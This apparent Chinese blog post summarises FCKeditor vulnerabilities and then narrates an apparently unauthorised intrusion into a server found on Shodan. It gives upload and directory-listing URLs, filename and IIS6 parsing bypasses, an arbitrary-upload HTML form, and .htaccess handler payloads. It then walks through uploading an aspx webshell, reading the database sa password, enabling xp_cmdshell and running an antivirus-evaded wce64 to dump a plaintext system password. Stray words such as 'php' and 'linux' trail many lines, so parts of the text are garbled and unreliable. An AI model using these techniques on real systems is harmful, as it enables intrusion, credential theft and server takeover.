Fckeditor漏洞總結及其***某服務器

1.1Fckeditor漏洞總結及其***某服務器

   有些漏洞看起來簡單,級別比較低,不如SQL注入等漏洞來的直接,但在條件合適的狀況下,小漏洞發揮大做用,一直以來都想作一個Fckeditor漏洞總結,省得每次遇到目標都須要從新搜索,浪費時間。php


1.1.1FCKeditor編輯器漏洞利用總結

1.判斷fckeditor版本html

經過/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html頁面文件中的版本號來肯定。例如訪問http://***.1**.***.***:8081/fckeditor/_whatsnew.html,獲知其版本號爲2.4.3。linux


1-查看版本.jpg

圖1獲取Fckeditor版本web


2.常見的測試上傳地址sql

  Fckeditor編輯器默認會存在test.html和uploadtest.html文件,直接訪問這些文件能夠獲取當前文件夾文件名稱以及上傳文件,有的版本能夠直接上傳任意文件類型,測試上傳地址有:shell

(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html數據庫

(2)FCKeditor/editor/filemanager/upload/test.html編程

(3)FCKeditor/editor/filemanager/connectors/test.htmlwindows

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html服務器


3.示例上傳地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html


4.常見的上傳地址

(1)connector.aspx文件

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

(2)browser.html文件

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php


5. Windows 2003+IIS6文件解析路徑漏洞

   經過Fckeditor編輯器在文件上傳頁面中,建立諸如1.asp文件夾,而後再到該文件夾下上傳一個圖片的webshell文件,獲取其shell。其shell地址爲:

http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg


6.iis6突破文件夾限制

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp


7.突破文件名限制

(1)二次重複上傳文件突破「.」變成「-」限制

新版FCK上傳shell.asp;.jpg變shell_asp;.jpg,而後繼續上傳同名文件可變爲shell.asp;(1).jpg

(2)提交shell.php+空格繞過

空格只支持windows系統,linux系統是不支持的,可提交shell.php+空格來繞過文件名限制。


8.列目錄

(1)FCKeditor/editor/fckeditor.html 不能夠上傳文件,能夠點擊上傳圖片按鈕再選擇瀏覽服務器便可跳轉至可上傳文件頁,能夠查看已經上傳的文件。

(2)根據xml返回信息查看網站目錄

http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

(3)獲取當前文件夾

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

(4)瀏覽E盤文件

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/

(5)JSP 版本

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/


9.修改Media 類型進行上傳

FCKeditor 2.4.2  For php如下版本在處理PHP上傳的地方並未對Media 類型進行上傳文件類型的控制,致使用戶上傳任意文件!將如下保存爲html文件,修改action地址爲實際地址:

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>


10.htaccess文件突破

htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置.經過htaccess文件,能夠實現:網頁301重定向、自定義404頁面、改變文件擴展名、容許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。

(1).htaccess文件內容

AppType  application/x-httpd-php  .jpg

另一種方法也能夠,其內容爲:

<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>

上傳帶cimer後綴的webshell文件,訪問地址便可獲得webshell

(2)上傳.htaccess文件

(3)上傳圖片***

(4)藉助該漏洞,能夠實現webshell的訪問


1.1.2搜索FCKeditor目標

1.在shodan.io網站搜索FCKeditor關鍵字

   在shodan.io網站搜索FCKeditor關鍵字,如圖2所示,能夠看到一共存在24條記錄,也能夠直接訪問地址

https://www.shodan.io/search?query=」FCKeditor」對關鍵字進行查詢,不一樣的關鍵字其出來的效果不同。


2-shodan搜索.jpg

圖2搜索國內FCKeditor目標信息


2.逐個查看目標記錄信息

   對shodan.io網站搜索的24條記錄進行逐個查看,也即單擊shodan搜索記錄中的Details連接,便可查看目標的詳細信息,如圖3所示,建議新建窗口打開該連接地址,在該IP地址信息中包含國家、城市、組織、ISP和端口等信息。


3-查看目標信息.jpg

圖3查看使用Fckeditor編輯器的目標信息


1.1.3漏洞利用及分析

1.根據端口訪問服務器

   單擊shodan中搜索出來的服務信息中的綠色轉向箭頭便可直接訪問目標服務器,例如本例中是8081端口,如圖4所示,在該頁面中直接目錄信息泄露,能夠下載dlty.rar代碼文件。


4-訪問目標進行查看.jpg

圖4訪問目標網站



2.對網站目錄進行逐個查看獲取Fckedit漏洞利用頁面

   經過對該網站fckeditor 編輯器所在文件夾進行逐層訪問,獲取其上傳測試頁面地址:

http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

如圖5所示,選擇網站支持編程語言爲ASP.Net,而後選擇一個aspx的webshell,進行上傳,直接上傳文件到/UserFiles/目錄,文件名稱也未作更改。


5-上傳文件.jpg

圖5直接上傳webshell


3.查看和驗證上傳文件

    如圖6所示,到該網站/UserFiles/目錄,能夠看到上傳的2014.aspx及cmd.php文件。


6-webshell.jpg

圖6檢查和驗證上傳的文件


4.獲取webshell及數據庫密碼

單擊/UserFiles/目錄中的2014.aspx文件,直接獲取webshell,如圖7所示,經過查看web.config文件還獲取其數據庫sa帳號密碼爲dlty。


7-webshell查看.jpg

圖7獲取webshell及數據庫密碼


5.服務器提權並獲取服務器密碼

(1)獲取服務器架構

   如圖8所示,在webshell中執行cmd.exe /c set命令查看當前處理架構信息,結果顯示爲AMD64位。


8-64操做系統.jpg

圖8獲取處理架構信息


(2)鏈接數據庫恢復xp_cmdshell

    在webshell中單擊DataBase進行數據庫管理,選擇mssql,而後輸入sa帳號對應的密碼,進行鏈接,鏈接成功後,在SQLExec中選擇Add xp_cmdshell,如圖9所示,顯示該數據庫服務器中已經添加xp_cmdshell存儲進程,代表前面有人***過。


9-.jpg

圖9數據庫恢復xp_cmdshell


(3)獲取當前數據庫管理員密碼明文

將wce64.exe進行免殺處理,而後上傳到服務器上,經過xp_cmdshell執行命令:

Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'

如圖10所示,成功獲取該服務器密碼明文:×××@66009009


10-huo.jpg

圖10獲取服務明文密碼


1.1.4***總結及分析

1. sqlserver 2000直接提權。在本例中還能夠經過sqlmap進行mssql數據庫直連進行提權以及執行命令等操做,因爲本案例中的數據庫是sqlserver 2000,sa帳號能夠直接提權到服務器權限。

2.Fckeditor中的test.html文件能夠直接上傳任意文件類型

3.能夠經過Fckeditor還能夠瀏覽目錄。這個在***中特別有用,能夠用來查看網站的目錄結構,運氣好,能夠查看xml配置文件,以及下載源代碼文件等。

4.在本案例中的目錄信息危害太大。能夠對全部文件及目錄進行查看,即便未獲取編輯器漏洞,也能夠經過源代碼文件獲取數據庫密碼。


更多實戰技術乾貨,請關注最新***實戰專欄內容《******入門到實踐,讓SQLmap子*彈飛一下子》

1.jpg

相關文章
相關標籤/搜索